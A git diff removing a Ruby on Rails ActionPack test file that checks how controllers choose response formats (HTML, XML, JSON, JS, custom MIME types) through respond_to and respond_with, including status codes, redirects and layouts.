deleted file mode 100644
index a9c6289..0000000
--- a/actionpack/test/controller/mime_responds_test.rb
+++ /dev/null
@@ -1,1254 +0,0 @@
-require 'abstract_unit'
-require 'controller/fake_models'
-require 'active_support/core_ext/hash/conversions'
-
-class StarStarMimeController < ActionController::Base
-  layout nil
-
-  def index
-    render
-  end
-end
-
-class RespondToController < ActionController::Base
-  layout :set_layout
-
-  def html_xml_or_rss
-    respond_to do |type|
-      type.html { render :text => "HTML"    }
-      type.xml  { render :text => "XML"     }
-      type.rss  { render :text => "RSS"     }
-      type.all  { render :text => "Nothing" }
-    end
-  end
-
-  def js_or_html
-    respond_to do |type|
-      type.html { render :text => "HTML"    }
-      type.js   { render :text => "JS"      }
-      type.all  { render :text => "Nothing" }
-    end
-  end
-
-  def json_or_yaml
-    respond_to do |type|
-      type.json { render :text => "JSON" }
-      type.yaml { render :text => "YAML" }
-    end
-  end
-
-  def html_or_xml
-    respond_to do |type|
-      type.html { render :text => "HTML"    }
-      type.xml  { render :text => "XML"     }
-      type.all  { render :text => "Nothing" }
-    end
-  end
-
-  def json_xml_or_html
-    respond_to do |type|
-      type.json { render :text => 'JSON' }
-      type.xml { render :xml => 'XML' }
-      type.html { render :text => 'HTML' }
-    end
-  end
-
-
-  def forced_xml
-    request.format = :xml
-
-    respond_to do |type|
-      type.html { render :text => "HTML"    }
-      type.xml  { render :text => "XML"     }
-    end
-  end
-
-  def just_xml
-    respond_to do |type|
-      type.xml  { render :text => "XML" }
-    end
-  end
-
-  def using_defaults
-    respond_to do |type|
-      type.html
-      type.xml
-    end
-  end
-
-  def using_defaults_with_type_list
-    respond_to(:html, :xml)
-  end
-
-  def using_defaults_with_all
-    respond_to do |type|
-      type.html
-      type.all{ render text: "ALL" }
-    end
-  end
-
-  def made_for_content_type
-    respond_to do |type|
-      type.rss  { render :text => "RSS"  }
-      type.atom { render :text => "ATOM" }
-      type.all  { render :text => "Nothing" }
-    end
-  end
-
-  def custom_type_handling
-    respond_to do |type|
-      type.html { render :text => "HTML"    }
-      type.custom("application/crazy-xml")  { render :text => "Crazy XML"  }
-      type.all  { render :text => "Nothing" }
-    end
-  end
-
-
-  def custom_constant_handling
-    respond_to do |type|
-      type.html   { render :text => "HTML"   }
-      type.mobile { render :text => "Mobile" }
-    end
-  end
-
-  def custom_constant_handling_without_block
-    respond_to do |type|
-      type.html   { render :text => "HTML"   }
-      type.mobile
-    end
-  end
-
-  def handle_any
-    respond_to do |type|
-      type.html { render :text => "HTML" }
-      type.any(:js, :xml) { render :text => "Either JS or XML" }
-    end
-  end
-
-  def handle_any_any
-    respond_to do |type|
-      type.html { render :text => 'HTML' }
-      type.any { render :text => 'Whatever you ask for, I got it' }
-    end
-  end
-
-  def all_types_with_layout
-    respond_to do |type|
-      type.html
-    end
-  end
-
-  def iphone_with_html_response_type
-    request.format = :iphone if request.env["HTTP_ACCEPT"] == "text/iphone"
-
-    respond_to do |type|
-      type.html   { @type = "Firefox" }
-      type.iphone { @type = "iPhone"  }
-    end
-  end
-
-  def iphone_with_html_response_type_without_layout
-    request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
-
-    respond_to do |type|
-      type.html   { @type = "Firefox"; render :action => "iphone_with_html_response_type" }
-      type.iphone { @type = "iPhone" ; render :action => "iphone_with_html_response_type" }
-    end
-  end
-
-  protected
-    def set_layout
-      case action_name
-        when "all_types_with_layout", "iphone_with_html_response_type"
-          "respond_to/layouts/standard"
-        when "iphone_with_html_response_type_without_layout"
-          "respond_to/layouts/missing"
-      end
-    end
-end
-
-class StarStarMimeControllerTest < ActionController::TestCase
-  tests StarStarMimeController
-
-  def test_javascript_with_format
-    @request.accept = "text/javascript"
-    get :index, :format => 'js'
-    assert_match "function addition(a,b){ return a+b; }", @response.body
-  end
-
-  def test_javascript_with_no_format
-    @request.accept = "text/javascript"
-    get :index
-    assert_match "function addition(a,b){ return a+b; }", @response.body
-  end
-
-  def test_javascript_with_no_format_only_star_star
-    @request.accept = "*/*"
-    get :index
-    assert_match "function addition(a,b){ return a+b; }", @response.body
-  end
-
-end
-
-class RespondToControllerTest < ActionController::TestCase
-  tests RespondToController
-
-  def setup
-    super
-    @request.host = "www.example.com"
-    Mime::Type.register_alias("text/html", :iphone)
-    Mime::Type.register("text/x-mobile", :mobile)
-  end
-
-  def teardown
-    super
-    Mime::Type.unregister(:iphone)
-    Mime::Type.unregister(:mobile)
-  end
-
-  def test_html
-    @request.accept = "text/html"
-    get :js_or_html
-    assert_equal 'HTML', @response.body
-
-    get :html_or_xml
-    assert_equal 'HTML', @response.body
-
-    assert_raises(ActionController::UnknownFormat) do
-      get :just_xml
-    end
-  end
-
-  def test_all
-    @request.accept = "*/*"
-    get :js_or_html
-    assert_equal 'HTML', @response.body # js is not part of all
-
-    get :html_or_xml
-    assert_equal 'HTML', @response.body
-
-    get :just_xml
-    assert_equal 'XML', @response.body
-  end
-
-  def test_xml
-    @request.accept = "application/xml"
-    get :html_xml_or_rss
-    assert_equal 'XML', @response.body
-  end
-
-  def test_js_or_html
-    @request.accept = "text/javascript, text/html"
-    xhr :get, :js_or_html
-    assert_equal 'JS', @response.body
-
-    @request.accept = "text/javascript, text/html"
-    xhr :get, :html_or_xml
-    assert_equal 'HTML', @response.body
-
-    @request.accept = "text/javascript, text/html"
-
-    assert_raises(ActionController::UnknownFormat) do
-      xhr :get, :just_xml
-    end
-  end
-
-  def test_json_or_yaml_with_leading_star_star
-    @request.accept = "*/*, application/json"
-    get :json_xml_or_html
-    assert_equal 'HTML', @response.body
-
-    @request.accept = "*/* , application/json"
-    get :json_xml_or_html
-    assert_equal 'HTML', @response.body
-  end
-
-  def test_json_or_yaml
-    xhr :get, :json_or_yaml
-    assert_equal 'JSON', @response.body
-
-    get :json_or_yaml, :format => 'json'
-    assert_equal 'JSON', @response.body
-
-    get :json_or_yaml, :format => 'yaml'
-    assert_equal 'YAML', @response.body
-
-    { 'YAML' => %w(text/yaml),
-      'JSON' => %w(application/json text/x-json)
-    }.each do |body, content_types|
-      content_types.each do |content_type|
-        @request.accept = content_type
-        get :json_or_yaml
-        assert_equal body, @response.body
-      end
-    end
-  end
-
-  def test_js_or_anything
-    @request.accept = "text/javascript, */*"
-    xhr :get, :js_or_html
-    assert_equal 'JS', @response.body
-
-    xhr :get, :html_or_xml
-    assert_equal 'HTML', @response.body
-
-    xhr :get, :just_xml
-    assert_equal 'XML', @response.body
-  end
-
-  def test_using_defaults
-    @request.accept = "*/*"
-    get :using_defaults
-    assert_equal "text/html", @response.content_type
-    assert_equal 'Hello world!', @response.body
-
-    @request.accept = "application/xml"
-    get :using_defaults
-    assert_equal "application/xml", @response.content_type
-    assert_equal "<p>Hello world!</p>\n", @response.body
-  end
-
-  def test_using_defaults_with_all
-    @request.accept = "*/*"
-    get :using_defaults_with_all
-    assert_equal "HTML!", @response.body.strip
-
-    @request.accept = "text/html"
-    get :using_defaults_with_all
-    assert_equal "HTML!", @response.body.strip
-
-    @request.accept = "application/json"
-    get :using_defaults_with_all
-    assert_equal "ALL", @response.body
-  end
-
-  def test_using_defaults_with_type_list
-    @request.accept = "*/*"
-    get :using_defaults_with_type_list
-    assert_equal "text/html", @response.content_type
-    assert_equal 'Hello world!', @response.body
-
-    @request.accept = "application/xml"
-    get :using_defaults_with_type_list
-    assert_equal "application/xml", @response.content_type
-    assert_equal "<p>Hello world!</p>\n", @response.body
-  end
-
-  def test_with_atom_content_type
-    @request.accept = ""
-    @request.env["CONTENT_TYPE"] = "application/atom+xml"
-    xhr :get, :made_for_content_type
-    assert_equal "ATOM", @response.body
-  end
-
-  def test_with_rss_content_type
-    @request.accept = ""
-    @request.env["CONTENT_TYPE"] = "application/rss+xml"
-    xhr :get, :made_for_content_type
-    assert_equal "RSS", @response.body
-  end
-
-  def test_synonyms
-    @request.accept = "application/javascript"
-    get :js_or_html
-    assert_equal 'JS', @response.body
-
-    @request.accept = "application/x-xml"
-    get :html_xml_or_rss
-    assert_equal "XML", @response.body
-  end
-
-  def test_custom_types
-    @request.accept = "application/crazy-xml"
-    get :custom_type_handling
-    assert_equal "application/crazy-xml", @response.content_type
-    assert_equal 'Crazy XML', @response.body
-
-    @request.accept = "text/html"
-    get :custom_type_handling
-    assert_equal "text/html", @response.content_type
-    assert_equal 'HTML', @response.body
-  end
-
-  def test_xhtml_alias
-    @request.accept = "application/xhtml+xml,application/xml"
-    get :html_or_xml
-    assert_equal 'HTML', @response.body
-  end
-
-  def test_firefox_simulation
-    @request.accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
-    get :html_or_xml
-    assert_equal 'HTML', @response.body
-  end
-
-  def test_handle_any
-    @request.accept = "*/*"
-    get :handle_any
-    assert_equal 'HTML', @response.body
-
-    @request.accept = "text/javascript"
-    get :handle_any
-    assert_equal 'Either JS or XML', @response.body
-
-    @request.accept = "text/xml"
-    get :handle_any
-    assert_equal 'Either JS or XML', @response.body
-  end
-
-  def test_handle_any_any
-    @request.accept = "*/*"
-    get :handle_any_any
-    assert_equal 'HTML', @response.body
-  end
-
-  def test_handle_any_any_parameter_format
-    get :handle_any_any, {:format=>'html'}
-    assert_equal 'HTML', @response.body
-  end
-
-  def test_handle_any_any_explicit_html
-    @request.accept = "text/html"
-    get :handle_any_any
-    assert_equal 'HTML', @response.body
-  end
-
-  def test_handle_any_any_javascript
-    @request.accept = "text/javascript"
-    get :handle_any_any
-    assert_equal 'Whatever you ask for, I got it', @response.body
-  end
-
-  def test_handle_any_any_xml
-    @request.accept = "text/xml"
-    get :handle_any_any
-    assert_equal 'Whatever you ask for, I got it', @response.body
-  end
-
-  def test_browser_check_with_any_any
-    @request.accept = "application/json, application/xml"
-    get :json_xml_or_html
-    assert_equal 'JSON', @response.body
-
-    @request.accept = "application/json, application/xml, */*"
-    get :json_xml_or_html
-    assert_equal 'HTML', @response.body
-  end
-
-  def test_html_type_with_layout
-    @request.accept = "text/html"
-    get :all_types_with_layout
-    assert_equal '<html><div id="html">HTML for all_types_with_layout</div></html>', @response.body
-  end
-
-  def test_xhr
-    xhr :get, :js_or_html
-    assert_equal 'JS', @response.body
-  end
-
-  def test_custom_constant
-    get :custom_constant_handling, :format => "mobile"
-    assert_equal "text/x-mobile", @response.content_type
-    assert_equal "Mobile", @response.body
-  end
-
-  def test_custom_constant_handling_without_block
-    get :custom_constant_handling_without_block, :format => "mobile"
-    assert_equal "text/x-mobile", @response.content_type
-    assert_equal "Mobile", @response.body
-  end
-
-  def test_forced_format
-    get :html_xml_or_rss
-    assert_equal "HTML", @response.body
-
-    get :html_xml_or_rss, :format => "html"
-    assert_equal "HTML", @response.body
-
-    get :html_xml_or_rss, :format => "xml"
-    assert_equal "XML", @response.body
-
-    get :html_xml_or_rss, :format => "rss"
-    assert_equal "RSS", @response.body
-  end
-
-  def test_internally_forced_format
-    get :forced_xml
-    assert_equal "XML", @response.body
-
-    get :forced_xml, :format => "html"
-    assert_equal "XML", @response.body
-  end
-
-  def test_extension_synonyms
-    get :html_xml_or_rss, :format => "xhtml"
-    assert_equal "HTML", @response.body
-  end
-
-  def test_render_action_for_html
-    @controller.instance_eval do
-      def render(*args)
-        @action = args.first[:action] unless args.empty?
-        @action ||= action_name
-
-        response.body = "#{@action} - #{formats}"
-      end
-    end
-
-    get :using_defaults
-    assert_equal "using_defaults - #{[:html].to_s}", @response.body
-
-    get :using_defaults, :format => "xml"
-    assert_equal "using_defaults - #{[:xml].to_s}", @response.body
-  end
-
-  def test_format_with_custom_response_type
-    get :iphone_with_html_response_type
-    assert_equal '<html><div id="html">Hello future from Firefox!</div></html>', @response.body
-
-    get :iphone_with_html_response_type, :format => "iphone"
-    assert_equal "text/html", @response.content_type
-    assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
-  end
-
-  def test_format_with_custom_response_type_and_request_headers
-    @request.accept = "text/iphone"
-    get :iphone_with_html_response_type
-    assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
-    assert_equal "text/html", @response.content_type
-  end
-
-  def test_invalid_format
-    assert_raises(ActionController::UnknownFormat) do
-      get :using_defaults, :format => "invalidformat"
-    end
-  end
-end
-
-class RespondWithController < ActionController::Base
-  respond_to :html, :json, :touch
-  respond_to :xml, :except => :using_resource_with_block
-  respond_to :js,  :only => [ :using_resource_with_block, :using_resource, 'using_hash_resource' ]
-
-  def using_resource
-    respond_with(resource)
-  end
-
-  def using_hash_resource
-    respond_with({:result => resource})
-  end
-
-  def using_resource_with_block
-    respond_with(resource) do |format|
-      format.csv { render :text => "CSV" }
-    end
-  end
-
-  def using_resource_with_overwrite_block
-    respond_with(resource) do |format|
-      format.html { render :text => "HTML" }
-    end
-  end
-
-  def using_resource_with_collection
-    respond_with([resource, Customer.new("jamis", 9)])
-  end
-
-  def using_resource_with_parent
-    respond_with(Quiz::Store.new("developer?", 11), Customer.new("david", 13))
-  end
-
-  def using_resource_with_status_and_location
-    respond_with(resource, :location => "http://test.host/", :status => :created)
-  end
-
-  def using_invalid_resource_with_template
-    respond_with(resource)
-  end
-
-  def using_options_with_template
-    @customer = resource
-    respond_with(@customer, :status => 123, :location => "http://test.host/")
-  end
-
-  def using_resource_with_responder
-    responder = proc { |c, r, o| c.render :text => "Resource name is #{r.first.name}" }
-    respond_with(resource, :responder => responder)
-  end
-
-  def using_resource_with_action
-    respond_with(resource, :action => :foo) do |format|
-      format.html { raise ActionView::MissingTemplate.new([], "bar", ["foo"], {}, false) }
-    end
-  end
-
-  def using_responder_with_respond
-    responder = Class.new(ActionController::Responder) do
-      def respond; @controller.render :text => "respond #{format}"; end
-    end
-    respond_with(resource, :responder => responder)
-  end
-
-protected
-
-  def resource
-    Customer.new("david", request.delete? ? nil : 13)
-  end
-end
-
-class InheritedRespondWithController < RespondWithController
-  clear_respond_to
-  respond_to :xml, :json
-
-  def index
-    respond_with(resource) do |format|
-      format.json { render :text => "JSON" }
-    end
-  end
-end
-
-class RenderJsonRespondWithController < RespondWithController
-  clear_respond_to
-  respond_to :json
-
-  def index
-    respond_with(resource) do |format|
-      format.json { render :json => RenderJsonTestException.new('boom') }
-    end
-  end
-
-  def create
-    resource = ValidatedCustomer.new(params[:name], 1)
-    respond_with(resource) do |format|
-      format.json do
-        if resource.errors.empty?
-          render :json => { :valid => true }
-        else
-          render :json => { :valid => false }
-        end
-      end
-    end
-  end
-end
-
-class EmptyRespondWithController < ActionController::Base
-  def index
-    respond_with(Customer.new("david", 13))
-  end
-end
-
-class RespondWithControllerTest < ActionController::TestCase
-  tests RespondWithController
-
-  def setup
-    super
-    @request.host = "www.example.com"
-    Mime::Type.register_alias('text/html', :iphone)
-    Mime::Type.register_alias('text/html', :touch)
-    Mime::Type.register('text/x-mobile', :mobile)
-  end
-
-  def teardown
-    super
-    Mime::Type.unregister(:iphone)
-    Mime::Type.unregister(:touch)
-    Mime::Type.unregister(:mobile)
-  end
-
-  def test_using_resource
-    @request.accept = "application/xml"
-    get :using_resource
-    assert_equal "application/xml", @response.content_type
-    assert_equal "<name>david</name>", @response.body
-
-    @request.accept = "application/json"
-    assert_raise ActionView::MissingTemplate do
-      get :using_resource
-    end
-  end
-
-  def test_using_resource_with_js_simply_tries_to_render_the_template
-    @request.accept = "text/javascript"
-    get :using_resource
-    assert_equal "text/javascript", @response.content_type
-    assert_equal "alert(\"Hi\");", @response.body
-  end
-
-  def test_using_hash_resource_with_js_raises_an_error_if_template_cant_be_found
-    @request.accept = "text/javascript"
-    assert_raise ActionView::MissingTemplate do
-      get :using_hash_resource
-    end
-  end
-
-  def test_using_hash_resource
-    @request.accept = "application/xml"
-    get :using_hash_resource
-    assert_equal "application/xml", @response.content_type
-    assert_equal "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<hash>\n  <name>david</name>\n</hash>\n", @response.body
-
-    @request.accept = "application/json"
-    get :using_hash_resource
-    assert_equal "application/json", @response.content_type
-    assert @response.body.include?("result")
-    assert @response.body.include?('"name":"david"')
-    assert @response.body.include?('"id":13')
-  end
-
-  def test_using_hash_resource_with_post
-    @request.accept = "application/json"
-    assert_raise ArgumentError, "Nil location provided. Can't build URI." do
-      post :using_hash_resource
-    end
-  end
-
-  def test_using_resource_with_block
-    @request.accept = "*/*"
-    get :using_resource_with_block
-    assert_equal "text/html", @response.content_type
-    assert_equal 'Hello world!', @response.body
-
-    @request.accept = "text/csv"
-    get :using_resource_with_block
-    assert_equal "text/csv", @response.content_type
-    assert_equal "CSV", @response.body
-
-    @request.accept = "application/xml"
-    get :using_resource
-    assert_equal "application/xml", @response.content_type
-    assert_equal "<name>david</name>", @response.body
-  end
-
-  def test_using_resource_with_overwrite_block
-    get :using_resource_with_overwrite_block
-    assert_equal "text/html", @response.content_type
-    assert_equal "HTML", @response.body
-  end
-
-  def test_not_acceptable
-    @request.accept = "application/xml"
-    assert_raises(ActionController::UnknownFormat) do
-      get :using_resource_with_block
-    end
-
-    @request.accept = "text/javascript"
-    assert_raises(ActionController::UnknownFormat) do
-      get :using_resource_with_overwrite_block
-    end
-  end
-
-  def test_using_resource_for_post_with_html_redirects_on_success
-    with_test_route_set do
-      post :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 302, @response.status
-      assert_equal "http://www.example.com/customers/13", @response.location
-      assert @response.redirect?
-    end
-  end
-
-  def test_using_resource_for_post_with_html_rerender_on_failure
-    with_test_route_set do
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      post :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 200, @response.status
-      assert_equal "New world!\n", @response.body
-      assert_nil @response.location
-    end
-  end
-
-  def test_using_resource_for_post_with_xml_yields_created_on_success
-    with_test_route_set do
-      @request.accept = "application/xml"
-      post :using_resource
-      assert_equal "application/xml", @response.content_type
-      assert_equal 201, @response.status
-      assert_equal "<name>david</name>", @response.body
-      assert_equal "http://www.example.com/customers/13", @response.location
-    end
-  end
-
-  def test_using_resource_for_post_with_xml_yields_unprocessable_entity_on_failure
-    with_test_route_set do
-      @request.accept = "application/xml"
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      post :using_resource
-      assert_equal "application/xml", @response.content_type
-      assert_equal 422, @response.status
-      assert_equal errors.to_xml, @response.body
-      assert_nil @response.location
-    end
-  end
-
-  def test_using_resource_for_post_with_json_yields_unprocessable_entity_on_failure
-    with_test_route_set do
-      @request.accept = "application/json"
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      post :using_resource
-      assert_equal "application/json", @response.content_type
-      assert_equal 422, @response.status
-      errors = {:errors => errors}
-      assert_equal errors.to_json, @response.body
-      assert_nil @response.location
-    end
-  end
-
-  def test_using_resource_for_patch_with_html_redirects_on_success
-    with_test_route_set do
-      patch :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 302, @response.status
-      assert_equal "http://www.example.com/customers/13", @response.location
-      assert @response.redirect?
-    end
-  end
-
-  def test_using_resource_for_patch_with_html_rerender_on_failure
-    with_test_route_set do
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      patch :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 200, @response.status
-      assert_equal "Edit world!\n", @response.body
-      assert_nil @response.location
-    end
-  end
-
-  def test_using_resource_for_patch_with_html_rerender_on_failure_even_on_method_override
-    with_test_route_set do
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      @request.env["rack.methodoverride.original_method"] = "POST"
-      patch :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 200, @response.status
-      assert_equal "Edit world!\n", @response.body
-      assert_nil @response.location
-    end
-  end
-
-  def test_using_resource_for_put_with_html_redirects_on_success
-    with_test_route_set do
-      put :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 302, @response.status
-      assert_equal "http://www.example.com/customers/13", @response.location
-      assert @response.redirect?
-    end
-  end
-
-  def test_using_resource_for_put_with_html_rerender_on_failure
-    with_test_route_set do
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      put :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 200, @response.status
-      assert_equal "Edit world!\n", @response.body
-      assert_nil @response.location
-    end
-  end
-
-  def test_using_resource_for_put_with_html_rerender_on_failure_even_on_method_override
-    with_test_route_set do
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      @request.env["rack.methodoverride.original_method"] = "POST"
-      put :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 200, @response.status
-      assert_equal "Edit world!\n", @response.body
-      assert_nil @response.location
-    end
-  end
-
-  def test_using_resource_for_put_with_xml_yields_no_content_on_success
-    @request.accept = "application/xml"
-    put :using_resource
-    assert_equal "application/xml", @response.content_type
-    assert_equal 204, @response.status
-    assert_equal "", @response.body
-  end
-
-  def test_using_resource_for_put_with_json_yields_no_content_on_success
-    Customer.any_instance.stubs(:to_json).returns('{"name": "David"}')
-    @request.accept = "application/json"
-    put :using_resource
-    assert_equal "application/json", @response.content_type
-    assert_equal 204, @response.status
-    assert_equal "", @response.body
-  end
-
-  def test_using_resource_for_put_with_xml_yields_unprocessable_entity_on_failure
-    @request.accept = "application/xml"
-    errors = { :name => :invalid }
-    Customer.any_instance.stubs(:errors).returns(errors)
-    put :using_resource
-    assert_equal "application/xml", @response.content_type
-    assert_equal 422, @response.status
-    assert_equal errors.to_xml, @response.body
-    assert_nil @response.location
-  end
-
-  def test_using_resource_for_put_with_json_yields_unprocessable_entity_on_failure
-    @request.accept = "application/json"
-    errors = { :name => :invalid }
-    Customer.any_instance.stubs(:errors).returns(errors)
-    put :using_resource
-    assert_equal "application/json", @response.content_type
-    assert_equal 422, @response.status
-    errors = {:errors => errors}
-    assert_equal errors.to_json, @response.body
-    assert_nil @response.location
-  end
-
-  def test_using_resource_for_delete_with_html_redirects_on_success
-    with_test_route_set do
-      Customer.any_instance.stubs(:destroyed?).returns(true)
-      delete :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 302, @response.status
-      assert_equal "http://www.example.com/customers", @response.location
-    end
-  end
-
-  def test_using_resource_for_delete_with_xml_yields_no_content_on_success
-    Customer.any_instance.stubs(:destroyed?).returns(true)
-    @request.accept = "application/xml"
-    delete :using_resource
-    assert_equal "application/xml", @response.content_type
-    assert_equal 204, @response.status
-    assert_equal "", @response.body
-  end
-
-  def test_using_resource_for_delete_with_json_yields_no_content_on_success
-    Customer.any_instance.stubs(:to_json).returns('{"name": "David"}')
-    Customer.any_instance.stubs(:destroyed?).returns(true)
-    @request.accept = "application/json"
-    delete :using_resource
-    assert_equal "application/json", @response.content_type
-    assert_equal 204, @response.status
-    assert_equal "", @response.body
-  end
-
-  def test_using_resource_for_delete_with_html_redirects_on_failure
-    with_test_route_set do
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      Customer.any_instance.stubs(:destroyed?).returns(false)
-      delete :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 302, @response.status
-      assert_equal "http://www.example.com/customers", @response.location
-    end
-  end
-
-  def test_using_resource_with_parent_for_get
-    @request.accept = "application/xml"
-    get :using_resource_with_parent
-    assert_equal "application/xml", @response.content_type
-    assert_equal 200, @response.status
-    assert_equal "<name>david</name>", @response.body
-  end
-
-  def test_using_resource_with_parent_for_post
-    with_test_route_set do
-      @request.accept = "application/xml"
-
-      post :using_resource_with_parent
-      assert_equal "application/xml", @response.content_type
-      assert_equal 201, @response.status
-      assert_equal "<name>david</name>", @response.body
-      assert_equal "http://www.example.com/quiz_stores/11/customers/13", @response.location
-
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      post :using_resource
-      assert_equal "application/xml", @response.content_type
-      assert_equal 422, @response.status
-      assert_equal errors.to_xml, @response.body
-      assert_nil @response.location
-    end
-  end
-
-  def test_using_resource_with_collection
-    @request.accept = "application/xml"
-    get :using_resource_with_collection
-    assert_equal "application/xml", @response.content_type
-    assert_equal 200, @response.status
-    assert_match(/<name>david<\/name>/, @response.body)
-    assert_match(/<name>jamis<\/name>/, @response.body)
-  end
-
-  def test_using_resource_with_action
-    @controller.instance_eval do
-      def render(params={})
-        self.response_body = "#{params[:action]} - #{formats}"
-      end
-    end
-
-    errors = { :name => :invalid }
-    Customer.any_instance.stubs(:errors).returns(errors)
-
-    post :using_resource_with_action
-    assert_equal "foo - #{[:html].to_s}", @controller.response.body
-  end
-
-  def test_respond_as_responder_entry_point
-    @request.accept = "text/html"
-    get :using_responder_with_respond
-    assert_equal "respond html", @response.body
-
-    @request.accept = "application/xml"
-    get :using_responder_with_respond
-    assert_equal "respond xml", @response.body
-  end
-
-  def test_clear_respond_to
-    @controller = InheritedRespondWithController.new
-    @request.accept = "text/html"
-    assert_raises(ActionController::UnknownFormat) do
-      get :index
-    end
-  end
-
-  def test_first_in_respond_to_has_higher_priority
-    @controller = InheritedRespondWithController.new
-    @request.accept = "*/*"
-    get :index
-    assert_equal "application/xml", @response.content_type
-    assert_equal "<name>david</name>", @response.body
-  end
-
-  def test_block_inside_respond_with_is_rendered
-    @controller = InheritedRespondWithController.new
-    @request.accept = "application/json"
-    get :index
-    assert_equal "JSON", @response.body
-  end
-
-  def test_render_json_object_responds_to_str_still_produce_json
-    @controller = RenderJsonRespondWithController.new
-    @request.accept = "application/json"
-    get :index, :format => :json
-    assert_match(/"message":"boom"/, @response.body)
-    assert_match(/"error":"RenderJsonTestException"/, @response.body)
-  end
-
-  def test_api_response_with_valid_resource_respect_override_block
-    @controller = RenderJsonRespondWithController.new
-    post :create, :name => "sikachu", :format => :json
-    assert_equal '{"valid":true}', @response.body
-  end
-
-  def test_api_response_with_invalid_resource_respect_override_block
-    @controller = RenderJsonRespondWithController.new
-    post :create, :name => "david", :format => :json
-    assert_equal '{"valid":false}', @response.body
-  end
-
-  def test_no_double_render_is_raised
-    @request.accept = "text/html"
-    assert_raise ActionView::MissingTemplate do
-      get :using_resource
-    end
-  end
-
-  def test_using_resource_with_status_and_location
-    @request.accept = "text/html"
-    post :using_resource_with_status_and_location
-    assert @response.redirect?
-    assert_equal "http://test.host/", @response.location
-
-    @request.accept = "application/xml"
-    get :using_resource_with_status_and_location
-    assert_equal 201, @response.status
-  end
-
-  def test_using_resource_with_status_and_location_with_invalid_resource
-    errors = { :name => :invalid }
-    Customer.any_instance.stubs(:errors).returns(errors)
-
-    @request.accept = "text/xml"
-
-    post :using_resource_with_status_and_location
-    assert_equal errors.to_xml, @response.body
-    assert_equal 422, @response.status
-    assert_equal nil, @response.location
-
-    put :using_resource_with_status_and_location
-    assert_equal errors.to_xml, @response.body
-    assert_equal 422, @response.status
-    assert_equal nil, @response.location
-  end
-
-  def test_using_invalid_resource_with_template
-    errors = { :name => :invalid }
-    Customer.any_instance.stubs(:errors).returns(errors)
-
-    @request.accept = "text/xml"
-
-    post :using_invalid_resource_with_template
-    assert_equal errors.to_xml, @response.body
-    assert_equal 422, @response.status
-    assert_equal nil, @response.location
-
-    put :using_invalid_resource_with_template
-    assert_equal errors.to_xml, @response.body
-    assert_equal 422, @response.status
-    assert_equal nil, @response.location
-  end
-
-  def test_using_options_with_template
-    @request.accept = "text/xml"
-
-    post :using_options_with_template
-    assert_equal "<customer-name>david</customer-name>", @response.body
-    assert_equal 123, @response.status
-    assert_equal "http://test.host/", @response.location
-
-    put :using_options_with_template
-    assert_equal "<customer-name>david</customer-name>", @response.body
-    assert_equal 123, @response.status
-    assert_equal "http://test.host/", @response.location
-  end
-
-  def test_using_resource_with_responder
-    get :using_resource_with_responder
-    assert_equal "Resource name is david", @response.body
-  end
-
-  def test_using_resource_with_set_responder
-    RespondWithController.responder = proc { |c, r, o| c.render :text => "Resource name is #{r.first.name}" }
-    get :using_resource
-    assert_equal "Resource name is david", @response.body
-  ensure
-    RespondWithController.responder = ActionController::Responder
-  end
-
-  def test_error_is_raised_if_no_respond_to_is_declared_and_respond_with_is_called
-    @controller = EmptyRespondWithController.new
-    @request.accept = "*/*"
-    assert_raise RuntimeError do
-      get :index
-    end
-  end
-
-  private
-    def with_test_route_set
-      with_routing do |set|
-        set.draw do
-          resources :customers
-          resources :quiz_stores do
-            resources :customers
-          end
-          get ":controller/:action"
-        end
-        yield
-      end
-    end
-end
-
-class AbstractPostController < ActionController::Base
-  self.view_paths = File.dirname(__FILE__) + "/../fixtures/post_test/"
-end
-
-# For testing layouts which are set automatically
-class PostController < AbstractPostController
-  around_action :with_iphone
-
-  def index
-    respond_to(:html, :iphone, :js)
-  end
-
-protected
-
-  def with_iphone
-    request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
-    yield
-  end
-end
-
-class SuperPostController < PostController
-end
-
-class MimeControllerLayoutsTest < ActionController::TestCase
-  tests PostController
-
-  def setup
-    super
-    @request.host = "www.example.com"
-    Mime::Type.register_alias("text/html", :iphone)
-  end
-
-  def teardown
-    super
-    Mime::Type.unregister(:iphone)
-  end
-
-  def test_missing_layout_renders_properly
-    get :index
-    assert_equal '<html><div id="html">Hello Firefox</div></html>', @response.body
-
-    @request.accept = "text/iphone"
-    get :index
-    assert_equal 'Hello iPhone', @response.body
-  end
-
-  def test_format_with_inherited_layouts
-    @controller = SuperPostController.new
-
-    get :index
-    assert_equal '<html><div id="html">Super Firefox</div></html>', @response.body
-
-    @request.accept = "text/iphone"
-    get :index
-    assert_equal '<html><div id="super_iphone">Super iPhone</div></html>', @response.body
-  end
-
-  def test_non_navigational_format_with_no_template_fallbacks_to_html_template_with_no_layout
-    get :index, :format => :js
-    assert_equal "Hello Firefox", @response.body
-  end
-end
-
